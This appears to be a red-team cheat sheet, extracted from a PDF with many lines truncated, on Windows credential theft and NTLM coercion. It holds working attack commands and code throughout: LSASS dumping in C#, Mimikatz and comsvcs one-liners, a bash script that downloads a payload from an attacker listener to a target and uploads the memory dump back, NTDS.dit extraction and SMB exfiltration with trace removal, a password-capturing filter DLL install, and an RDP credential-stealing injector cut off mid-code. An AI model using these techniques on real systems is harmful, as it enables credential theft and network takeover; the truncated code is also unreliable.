https://clearbluejar.github.io/posts/from-ntobjectmanager-to-petitpotam/

Mitigation

https://kb.cert.org/vuls/id/405600

https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/

https://github.com/zeronetworks/rpcfirewall

ShadowCoerce (MS-FSRVP)

https://pentestlaboratories.com/2022/01/11/shadowcoerce/
https://github.com/ShutdownRepo/ShadowCoerce

$ python3 shadowcoerce.py -d megacorp.local -u snovvcrash -p 'Passw0rd!' 10.10.13.37 192.168.1

WebDAV (WebClient)

https://pentestlab.blog/2021/10/20/lateral-movement-webclient/
https://www.tiraniddo.dev/2015/03/starting-webclient-service.html

Check if callback via WebDAV (HTTP) is possible. It is when the WebClient service is running. If it's
possible, then NTLM Relay to LDAPS on behalf of the relayed machine account is your chance for RBCD
workstation takeover.

Check via PowerShell:

PS > Install-Module -Name NtObjectManager


PS > Get-NtFile -Win32Path '\\192.168.1.11\pipe\DAV RPC SERVICE'

Check via CME:

$ cme smb hosts.txt -u snovvcrash -p 'Passw0rd!' -M webdav

Check via GetWebDAVStatus:

PS > .\GetWebDAVStatus.exe SRV01,SRV02 --tc 1

Enable WebClient
Put the .searchConnector-ms file on a writable share. When a domain user opens target folder in
explorer, the WebClient service should start automatically:

Documents.searchConnector-ms
<?xml version="1.0" encoding="UTF-8"?>
<searchConnectorDescription xmlns="http://schemas.microsoft.com/windows/2009/searchConnector">
<description>Microsoft Outlook</description>
<isSearchOnlyItem>false</isSearchOnlyItem>
<includeInStartMenuScope>true</includeInStartMenuScope>
<templateInfo>
<folderType>{91475FE5-586B-4EBA-8D75-D17434B8CDF6}</folderType>
</templateInfo>
<simpleLocation>
<url>https://whatever/</url>
</simpleLocation>
</searchConnectorDescription>

Force SMB authentication

https://github.com/xct/hashgrab

Forcing with a hidden image:

<img src="\\10.10.13.37\pwn.ico" height="1" width="1" />

Forcing with a shortcut:

lnk.ps1
$wsh = New-Object -ComObject WScript.Shell
$lnk = $wsh.CreateShortcut("\\SRV01\PublicShare\pwn.lnk")
$lnk.IconLocation = "\\10.10.13.37\pwn.ico"
$lnk.Save()

Azure

ADSync

https://github.com/Hackplayers/PsCabesha-tools/blob/master/Privesc/Azure-ADConnect.ps1
https://blog.xpnsec.com/azuread-connect-for-redteam/
PS > Azure-ADConnect -server 127.0.0.1 -db ADSync

Credentials Dump

Tools

SessionGopher

https://github.com/Arvanaghi/SessionGopher

PS > Invoke-SessionGopher -Thorough

Gopher

https://github.com/EncodeGroup/Gopher

LaZagne

https://github.com/AlessandroZ/LaZagne

Cmd > .\lazagne.exe all [-v]


Cmd > .\lazagne.exe windows [-v]

From Memory

lsass.exe
Local Security Authority Subsystem Service

https://s3cur3th1ssh1t.github.io/Reflective-Dump-Tools/

Enumeration

https://www.mdsec.co.uk/2022/08/fourteen-ways-to-read-the-pid-for-the-local-security-authority-
subsystem-service-lsass/

Check if lsass.exe is ran as a protected process (PPL):

PS > Get-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\Lsa -Name "RunAsPPL"

MiniDumpWriteDump

Custom Implementations

https://github.com/rookuu/BOFs/tree/main/MiniDumpWriteDump
https://github.com/w1u0u1/minidump

https://github.com/helpsystems/nanodump/blob/main/source/nanodump.c

MiniDump Callbacks

https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dumping-lsass-
passwords-without-mimikatz-minidumpwritedump-av-signature-bypass#minidumpwritedump-to-
memory-using-minidump-callbacks

https://github.com/m0rv4i/SafetyDump/blob/master/SafetyDump/Program.cs

C# Implementation

https://github.com/chvancooten/OSEP-Code-Snippets/tree/main/MiniDump

SharpMiniDump.cs
using System;
using System.IO;
using System.Diagnostics;
using System.Runtime.InteropServices;

namespace SharpMiniDump
{
public class Program
{
[DllImport("Dbghelp.dll")]
static extern bool MiniDumpWriteDump(IntPtr hProcess, int ProcessId, IntPtr hFile, int

[DllImport("kernel32.dll")]
static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processI

public static void Main(string[] args)


{
FileStream dumpFile = new FileStream(@"C:\Windows\tasks\lsass.dmp", FileMode.Creat

Process[] lsassProc = Process.GetProcessesByName("lsass");


int lsassPid = lsassProc[0].Id;

IntPtr hProcess = OpenProcess(


0x001F0FFF, // PROCESS_ALL_ACCESS
false,
lsassPid);

bool res = MiniDumpWriteDump(


hProcess,
lsassPid,
dumpFile.SafeFileHandle.DangerousGetHandle(),
2, // MiniDumpWithFullMemory
IntPtr.Zero,
IntPtr.Zero,
IntPtr.Zero);
}
}
}

Reusing Open Handles

https://rastamouse.me/duplicating-handles-in-csharp/
https://rastamouse.me/dumping-lsass-with-duplicated-handles/

pypykatz

https://skelsec.medium.com/duping-av-with-handles-537ef985eb03

Cmd > .\pypykatz.exe live lsa --method handledup

SharpHandler

https://github.com/jfmaes/SharpHandler
https://github.com/S3cur3Th1sSh1t/PowerSharpPack/blob/master/PowerSharpBinaries/Invoke-
SharpHandler.ps1

Scan if there are dupeable handles to use:

PS > Invoke-SharpHandler -C "-s"

Write a gzip-compressed minidump to specified location:


PS > Invoke-SharpHandler -C "-w -c -l=C:\Windows\Temp\pony.dat"

Dump and parse with SharpKatz's logonpasswords :

PS > Invoke-SharpHandler -C "-d"

HandleKatz

https://github.com/codewhitesec/HandleKatz

$ x86_64-w64-mingw32-gcc -o loader.exe loader.cpp -lcrypt32


Cmd > .\loader.exe --pid:852 --outfile:C:\Windows\Temp\dump.obfuscated

Silent Process Exit

https://www.deepinstinct.com/2021/02/16/lsass-memory-dumps-are-stealthier-than-ever-before-part-2/
https://github.com/deepinstinct/LsassSilentProcessExit
https://github.com/lengjibo/RedTeamTools/tree/master/windows/LsassSilentProcessExit

https://github.com/CompassSecurity/PowerLsassSilentProcessExit

https://gitlab.com/KevinJClark/csharptoolbox/-/blob/master/ShhProcessExit.cs

Remove PPL Protection

https://googleprojectzero.blogspot.com/2018/08/windows-exploitation-tricks-exploiting.html
https://itm4n.github.io/lsass-runasppl/
https://blog.scrt.ch/2021/04/22/bypassing-lsa-protection-in-userland/
https://github.com/itm4n/PPLdump

https://itm4n.github.io/the-end-of-ppldump/
https://github.com/RedCursorSecurityConsulting/PPLKiller
https://tastypepperoni.medium.com/running-exploit-as-protected-process-ligh-from-userland-
f4c7dfe63387
https://github.com/tastypepperoni/RunAsWinTcb

Using Mimikatz driver:


PS > cmd /c sc create mimidrv binPath= C:\Windows\Tasks\mimidrv.sys type= kernel start= demand
PS > cmd /c sc start mimidrv
PS > Invoke-Mimikatz -Command '"!processprotect /process:lsass.exe /remove" "exit"'

Load SSP

https://blog.xpnsec.com/exploring-mimikatz-part-2/

https://www.programmersought.com/article/65604621980/

https://russianblogs.com/article/42611473286/

MirrorDump

https://github.com/CCob/MirrorDump
https://github.com/snovvcrash/MirrorDump

Cmd > .\MirrorDump.exe -f "NotLSASS.zip" -d "LegitLSAPlugin.dll" -l 1073741824


Cmd > .\MirrorDump.exe --parse

$ python3 MirrorDump.py 0.0.0.0 31337 --md5 --parse


Cmd > .\MirrorDump.exe --host 10.10.13.37 --port 31337

DuplicateDump

https://github.com/Hagrid29/DuplicateDump

nanodump

https://www.coresecurity.com/core-labs/articles/nanodump-red-team-approach-minidumps
https://github.com/helpsystems/nanodump

Cmd > .\load_ssp.x64.exe C:\Windows\Temp\nanodump_ssp.x64.dll


beacon> load_ssp

Do it automatically with wmiexec.py magic (using this Python HTTP server with PUT support):

nanodump_ssp.sh.cs
#!/usr/bin/env bash

# Usage: sudo nanodump_ssp.sh <[DOMAIN\]USERNAME>:<PASSWORD> <TARGET> <LISTENER>


# Example: sudo nanodump_ssp.sh 'megacorp.local\snovvcrash:Passw0rd!' 192.168.1.11 10.10.13.37
CREDS=$1
RHOST=$2
LHOST=$3
LPORT=$4

CMD="IWR -Uri http://${LHOST}/a.exe -OutFile C:\Windows\Temp\a.exe;IWR -Uri http://${LHOST}/a


CMD_BASE64=`echo -n ${CMD} | iconv -t UTF-16LE | base64 -w0`

python3 -m http.server ${LPORT} &

wmiexec.py -silentcommand -nooutput ${CREDS}@${RHOST} "powershell -enc ${CMD_BASE64}"


sleep 10

kill -9 `netstat -tulpan | grep ${LPORT} | grep python | awk '{ print $7 }' | awk -F/ '{ print
python3 put.py --bind=0.0.0.0 ${LPORT} &

CMD="IWR -Uri http://${LHOST}/out.bin -Method PUT -InFile C:\Windows\Temp\report.docx;rm C:\Wi


CMD_BASE64=`echo -n ${CMD} | iconv -t UTF-16LE | base64 -w0`

wmiexec.py -silentcommand -nooutput ${CREDS}@${RHOST} "powershell -enc ${CMD_BASE64}"


sleep 30

kill -9 `netstat -tulpan | grep ${LPORT} | grep python | awk '{ print $7 }' | awk -F/ '{ print

bash restore_signature.sh out.bin


pypykatz lsa minidump out.bin

chown ${SUDO_USER}:${SUDO_USER} out.bin

Bypass Saving on Disk Detection

https://www.bussink.net/lsass-minidump-file-seen-as-malicious-by-mcafee-av/
https://github.com/k4nfr3/Dumpert

NTFS Transactions

TransactedSharpMiniDump

https://www.cybermongol.ca/operator-research/dump-lsass-with-sharpminidump-ntfs-transactions-uac-
bypass-exfil-dmp-file-to-dropbox

https://github.com/PorLaCola25/TransactedSharpMiniDump
CredBandit
https://www.cobaltstrike.com/blog/credbandit-a-review-of-a-tool-developed-built-by-the-cobalt-strike-
user-community/

https://github.com/anthemtotheego/CredBandit

https://github.com/xforcered/CredBandit

https://github.com/xenoscr/compressedCredBandit

Dumpy

https://github.com/Kudaes/Dumpy/blob/341a7e47ab0e12ae3635cd0077fff1a172fef769/dumpy/dumper/s
rc/lib.rs#L216-L429

Kernel Mode

https://zerosum0x0.blogspot.com/2020/08/sassykitdi-kernel-mode-tcp-sockets.html

Abusing Gigabyte Driver

CVE-2018-19320

https://www.matteomalvica.com/blog/2020/07/15/silencing-the-edr/
https://www.secureauth.com/labs-old/gigabyte-drivers-elevation-of-privilege-vulnerabilities/

https://github.com/uf0o/windows-ps-callbacks-experiments/tree/master/evil-driver

https://github.com/fengjixuchui/gdrv-loader
https://github.com/ASkyeye/CVE-2018-19320

Physical Memory

Physmem2profit

https://labs.withsecure.com/blog/rethinking-credential-theft/
https://github.com/FSecureLABS/physmem2profit
https://github.com/Velocidex/WinPmem/releases/tag/v4.0.rc1

Server:
PS > .\Physmem2profit.exe --ip 192.168.1.11 --port 1337 --verbose [--hidden]

Client:

$ python3 physmem2profit --host 192.168.1.11 --port 1337 --install "C:/Windows/Temp/winpmem_x6

Credential Guard Bypass


Patch the g_fParameter_UseLogonCredential and g_IsCredGuardEnabled variables by their
hardcoded offsets within wdigest.dll loaded by LSASS:

https://teamhydra.blog/2020/08/25/bypassing-credential-guard/
https://gist.github.com/N4kedTurtle/8238f64d18932c7184faa2d0af2f1240

Resolve g_fParameter_UseLogonCredential and g_IsCredGuardEnabled variable offsets


dynamically at runtime:

https://itm4n.github.io/credential-guard-bypass/
https://github.com/itm4n/Pentest-Windows/blob/main/CredGuardBypassOffsets/poc.cpp

Merged 2 PoCs above:

https://gist.github.com/snovvcrash/43e976779efdd20df1596c6492198c99

Tools

comsvcs.dll

https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dump-credentials-
from-lsass-process-without-mimikatz#comsvcs-dll

https://github.com/Hackndo/lsassy/blob/master/lsassy/dumpmethod/comsvcs.py
https://gist.github.com/JohnLaTwC/3e7dd4cd8520467df179e93fb44a434e
https://sp00ks-git.github.io/posts/LSASS-Encrypted-Dump/

PS > $proc = 'ls'+'Ass'


PS > Get-Process $proc
PS > rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump <LSASS_PID> C:\Windows\System32\sp

Not touching the disk (using an SMB share):


PS > net use z: \\10.10.13.37\share
PS > rundll32.exe c:\Windows\System32\comsvcs.dll, MiniDump (Get-Process ('ls'+'Ass')).id z:\p

One-liner:

Cmd > %COMSPEC% /Q /c echo powershell.exe -NoP -C "%WINDIR%\System32\rundll32.exe %WINDIR%\Sys

ProcDump

https://docs.microsoft.com/en-us/sysinternals/downloads/procdump

https://download.sysinternals.com/files/Procdump.zip

https://live.sysinternals.com/

PS > .\procdump64.exe -accepteula -64 -ma lsass.exe lsass.dmp

Mimikatz

https://github.com/gentilkiwi/mimikatz/releases
https://tools.thehacker.recipes/mimikatz

PS > .\mimikatz.exe "privilege::debug" "token::elevate" "log out.txt" "sekurlsa::logonpassword

In case of Windows 10 version 1803-1809 use Mimikatz v2.1.1, see Key import error

Parse MiniDump:

PS > .\mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords full" "exit"

kiwi

meterpreter > getsystem


meterpreter > load kiwi
meterpreter > creds_msv
meterpreter > creds_wdigest
meterpreter > lsa_dump_secrets
meterpreter > creds_all
meterpreter > kiwi_cmd '"privilege::debug" "token::elevate" "sekurlsa::logonpasswords full" "e

pypykatz
https://github.com/skelsec/pypykatz/releases/latest

Parse MiniDump and grep for creds:

$ pypykatz lsa minidump lsass.dmp > out.txt

# Dumped with Mimikatz


$ grep -a '* Username : ' out.txt -A2 | grep -a -e Username -e Password -e NTLM | grep -a -v n

# Dumped with pypykatz


$ grep -a -P '\tusername ' out.txt -A2 | grep -a -e username -e password | grep -a -v None | x
$ grep -a -P 'Username: ' out.txt -A4 | grep -a -e Username -e Domain -e NT | grep -a -v None

spraykatz

https://github.com/aas-n/spraykatz

$ python3 spraykatz.py -u snovvcrash -p 'Passw0rd!' -t 10.10.13.37,10.10.13.38,10.10.13.39

Dumpert

https://outflank.nl/blog/2019/06/19/red-team-tactics-combining-direct-system-calls-and-srdi-to-bypass-
av-edr/
https://github.com/outflanknl/Dumpert

Dump lsass.exe using direct syscalls and removing user-land API hooks:

Cmd > rundll32.exe .\Outflank-Dumpert-DLL.dll,Dump

Using sRDI (shellcode Reflective DLL Injection) technique:

1. Compile Outflank-Dumpert-DLL.dll.
2. Convert it to position independent shellcode with ConvertToShellcode.py: python3
ConvertToShellcode.py Outflank-Dumpert-DLL.dll .
3. Use a shellcode loader of your choice to dump LSASS.

lsassy

https://github.com/Hackndo/lsassy
https://github.com/byt3bl33d3r/CrackMapExec/blob/master/cme/modules/lsassy.py
https://en.hackndo.com/remote-lsass-dump-passwords/
$ lsassy 10.10.13.0/24 -d megacorp.local -u snovvcrash -p 'Passw0rd!'
$ cme smb 10.10.13.0/24 -u snovvcrash -p 'Passw0rd!' -M lsassy

MalSeclogon

https://splintercod3.blogspot.com/p/the-hidden-side-of-seclogon-part-2.html

https://splintercod3.blogspot.com/p/the-hidden-side-of-seclogon-part-3.html

https://github.com/antonioCoco/MalSeclogon

Cmd > Malseclogon.exe -p <LSASS_PID> -d 1


Cmd > Malseclogon.exe -p <LSASS_PID> -d 2

svchost.exe

https://www.n00py.io/2021/05/dumping-plaintext-rdp-credentials-from-svchost-exe/

Locate the svchost.exe process that's holding RDP creds:

Cmd > tasklist /M:rdpcorets.dll

Use ProcDump or comsvc.dll to dump process memory:

Cmd > .\procdump64.exe -accepteula -64 -ma <PROCESS_PID> svchost.dmp


Cmd > rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump <PROCESS_PID> C:\Windows\Temp\svc

Grep for plaintext passwords:

$ strings -el svchost.dmp | grep <USERNAME> -C1

Mimikatz

Cmd > .\mimikatz.exe "privilege::debug" "token::elevate" "log out.txt" "ts::logonpasswords" "e

Credential Manager
Mimikatz
Cmd > .\mimikatz.exe "privilege::debug" "token::elevate" "log out.txt" "vault::cred /patch" "e

DPAPI
Data Protection API

https://habr.com/ru/post/434514/

ZN17 - Hunting for Credentials Dumping in Windows Environment (Teymur Kheirkhabar… 8…


PDF

Master keys locations (hidden files, need -Force ):

PS > ls -fo C:\Users\snovvcrash\AppData\Roaming\Microsoft\Protect\ (%appdata%\Microsoft\Protec


PS > ls -fo C:\Users\snovvcrash\AppData\Local\Microsoft\Protect\ (%localappdata%\Microsoft\Pro

Credential files locations (hidden files, need -Force ):

PS > ls -fo C:\Users\snovvcrash\AppData\Roaming\Microsoft\Credentials\ (%appdata%\Microsoft\Cr


PS > ls -fo C:\Users\snovvcrash\AppData\Local\Microsoft\Credentials\ (%localappdata%\Microsoft

Unhide files:

PS > cmd /c "attrib -h -s 00ff00ff-00ff-00ff-00ff-00ff00ff00ff


PS > cmd /c "attrib -h -s 00ff00ff00ff00ff00ff00ff00ff00ff"

Mimikatz

https://www.harmj0y.net/blog/redteaming/operational-guidance-for-offensive-user-dpapi-abuse/

Decrypt manually offline with known plaintext password:

mimikatz # dpapi::masterkey /in:00ff00ff-00ff-00ff-00ff-00ff00ff00ff /sid:S-1-5-21-4124311166-


mimikatz # dpapi::cache
mimikatz # dpapi::cred /in:00ff00ff00ff00ff00ff00ff00ff00ff
SharpDPAPI

https://github.com/GhostPack/SharpDPAPI#table-of-contents

https://github.com/S3cur3Th1sSh1t/PowerSharpPack/blob/master/PowerSharpBinaries/Invoke-
SharpDPAPI.ps1

Triage user's credentials, vaults, rdg and certificates:

PS > .\SharpDPAPI.exe triage /password:Passw0rd!

Triage machine's credentials (machinecredentials), vaults (machinevaults) and certificates (certificates


/machine):

PS > .\SharpDPAPI.exe machinetriage

Retrieve the domain DPAPI backup key (never changes) from a DC and decrypt master key blobs for any
user in the domain with it (needs DA privileges):

PS > .\SharpDPAPI.exe backupkey /nowrap [/server:DC01.megacorp.local] [/file:key.pvk]


PS > .\SharpDPAPI.exe credentials /pvk:key.pvk [/server:PC01.megacorp.local]

SharpChrome

https://github.com/GhostPack/SharpDPAPI#sharpchrome-commands

PS > .\SharpChromium.exe logins|cookies [/pvk:key.pvk]

SharpChromium

https://github.com/djhohnstein/SharpChromium

PS > ls "C:\Users\snovvcrash\AppData\Local\Google\Chrome\User Data\Default"


PS > .\SharpChromium.exe logins
PS > .\SharpChromium.exe cookies

Linux
GNOME Keyrings

HTB{ RPG }
snovvcrash@gh-pages:~$ _

List keyrings:

$ python3 -c "import gnomekeyring as gk;print(gk.list_keyring_names_sync())"

Unlock keyring with password:

import gnomekeyring as gk

def list_keyring_items(keyring_name):
print(f'*********{keyring_name}**********')
gk.unlock_sync(keyring_name, 'Passw0rd!')
item_keys = gk.list_item_ids_sync(keyring_name)
for key in item_keys:
item_info = gk.item_get_info_sync(keyring_name, key)
print(f'Number: {key}')
print(f'Name: {item_info.get_display_name()}')
print(f'Password: {item_info.get_secret()}')

list_keyring_items('mykeyring')

Tools

mimipenguin

https://github.com/huntergregal/mimipenguin

$ sudo python3 mimipenguin.py

LSA
Local Security Authority

https://www.passcape.com/index.php?section=docsys&cmd=details&id=23
https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dumping-lsa-secrets
SharpSecDump

https://github.com/G0ldenGunSec/SharpSecDump

https://github.com/S3cur3Th1sSh1t/PowerSharpPack/blob/master/PowerSharpBinaries/Invoke-
SharpSecDump.ps1

Decrypt LSA secrets on target:

PS > Invoke-SharpSecDump -C "-target=127.0.0.1"

MSCash2/MSCache2 (DCC2)

https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dumping-and-
cracking-mscash-cached-domain-credentials

Domain cached credentials are stored within LSA secrets in HKLM:\SECURITY registry hive:

Cmd > reg save hklm\system system.hive


Cmd > reg save hklm\security security.hive

secretsdump.py

Export registry hives and extract cached creds locally with secretsdump.py :

$ secretsdump.py -system system.hive -security security.hive LOCAL

mscache.py

https://github.com/QAX-A-Team/mscache/blob/master/mscache.py

Export registry hives and extract cached creds locally with mscache.py :

$ python mscache.py --system system.hive --security security.hive

Crack

$ hashcat -m 2100 -O -a 0 -w 4 --session=dcc2 -o dcc2.out dcc2.in seclists/Passwords/darkc0de


NTDS
Windows NT Directory Services

Create Shadow
Locate diskshadow.exe :

cmd /c where /R C:\ diskshadow.exe

Create a shadow disk:

cd \Windows\Temp
powershell -c "Add-Content add_vol.txt 'set context persistent nowriters'"

powershell -c "Add-Content add_vol.txt 'set metadata C:\Windows\Temp\meta.cab'"


powershell -c "Add-Content add_vol.txt 'set verbose on'"
powershell -c "Add-Content add_vol.txt 'begin backup'"
powershell -c "Add-Content add_vol.txt 'add volume c: alias DCROOT'"
powershell -c "Add-Content add_vol.txt 'create'"
powershell -c "Add-Content add_vol.txt 'expose %DCROOT% w:'"
powershell -c "Add-Content add_vol.txt 'end backup'"
cmd /c diskshadow.exe /s add_vol.txt

add_vol.txt
set context persistent nowriters
set metadata C:\Windows\Temp\meta.cab
set verbose on
begin backup
add volume c: alias DCROOT
create
expose %DCROOT% w:
end backup

Exfiltrate over SMB


Create a network share with anonymous access and put there all we need:

cd \Windows\Temp
copy w:\Windows\NTDS\ntds.dit ntds.dit
cmd /c reg.exe save hklm\system system.hive
cmd /c reg.exe save hklm\sam sam.hive
cmd /c reg.exe save hklm\security security.hive

Connect to the share and grab the files:

$ smbclient.py MEGACORP/administrator:'Passw0rd!'@192.168.1.11
use C$
cd windows/temp
get ntds.dit
get system.hive
get sam.hive
get security.hive

Clean Up
Remove the shadow volume:

cd \Windows\Temp
powershell -c "Add-Content delete_vol.txt 'set context persistent nowriters'"
powershell -c "Add-Content delete_vol.txt 'set metadata C:\Windows\Temp\meta.cab'"
powershell -c "Add-Content delete_vol.txt 'set verbose on'"
powershell -c "Add-Content delete_vol.txt 'unexpose w:'"
powershell -c "Add-Content delete_vol.txt 'delete shadows volume c:'"
powershell -c "Add-Content delete_vol.txt 'reset'"
cmd /c diskshadow.exe /s delete_vol.txt

delete_vol.txt
set context persistent nowriters
set metadata C:\Windows\Temp\meta.cab
set verbose on
unexpose w:
delete shadows volume c:
reset

Remove the share and all the traces:

cd \Windows\Temp
rm ntds.dit
rm system.hive
rm sam.hive
rm security.hive
rm C:\Windows\Temp\meta.cab
rm add_vol.txt
rm delete_vol.txt
Parse
Parse with secretsdump.py:

$ secretsdump.py [-pwd-last-set] [-user-status] [-history] -sam sam.hive -system system.hive -


$ cat ntds.txt | grep -a aad3b | grep -i 'Status=Enabled' | grep -v 31d6c | grep -v -e '\$' -e
$ hashcat -m 1000 -a 0 -w 4 -O --session=ntds -o ntds.out ntds.in seclists/Passwords/darkc0de

Parse with aesedb (faster but less informative):

$ antdsparse <BOOTKEY> ntds.dit -o ntds.txt --progress


$ antdsparse system.hive ntds.dit -o ntds.txt --progress

Reversible Encryption

https://adsecurity.org/?p=2053
https://www.blackhillsinfosec.com/how-i-cracked-a-128-bit-password/

Check if enabled globally:

gpmc.msc > Default Domain Policy > Computer Configuration > Policies > Windows Settings > Security
Settings > Account Policies > Password Policy > Store passwords using reversible encryption >
Enabled ✔

Check if enabled for specific users:

PS > Get-ADUser -Filter {userAccountControl -band 128} -Properties userAccountControl | ft nam

When DCSyncing such users, a cleartext password will be obtained.

Password Filter

https://clymb3r.wordpress.com/2013/09/15/intercepting-password-changes-with-function-hooking/
https://github.com/clymb3r/Misc-Windows-Hacking/tree/master/HookPasswordChange
https://pentestlab.blog/2020/02/10/credential-access-password-filter-dll/

https://github.com/3gstudent/PasswordFilter

Abuse PasswordChangeNotify to load a custom DLL capturing plaintext credentials when a password
change is performed (the passwords will appear in C:\l Fil ? t t files):

PS > $passwordFilterName = (Copy-Item "Win32Project3.dll" -Destination "C:\Windows\System32" -


PS > $lsaKey = Get-Item "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\"
PS > $notificationPackagesValues = $lsaKey.GetValue("Notification Packages")
PS > $notificationPackagesValues += $passwordFilterName
PS > Set-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\" "Notification Packages" $n
PS > Restart-Computer -Confirm

RDP
Remote Desktop Protocol

RdpThief

https://github.com/0x09AL/RdpThief

https://github.com/S3cur3Th1sSh1t/RDPThiefInject
https://github.com/snovvcrash/SharpRdpThief

https://github.com/passthehashbrowns/SharpRDPThief

https://github.com/proxytype/RDP-THIEF

Some custom code that waits for mstsc.exe to be run and loads the malicious library into it:

RdpThiefInjector.cs
using System;
using System.Threading;
using System.Diagnostics;
using System.Collections.Generic;
using System.Runtime.InteropServices;
using System.Text;

namespace RdpThiefInjector
{
class Program
{
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processI

[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]


static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, ui

[DllImport("kernel32.dll")]
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lp

[DllImport("kernel32.dll")]
static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, ui
[DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = tr
static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

[DllImport("kernel32.dll", CharSet = CharSet.Auto)]


public static extern IntPtr GetModuleHandle(string lpModuleName);

static void Main(string[] args)


{
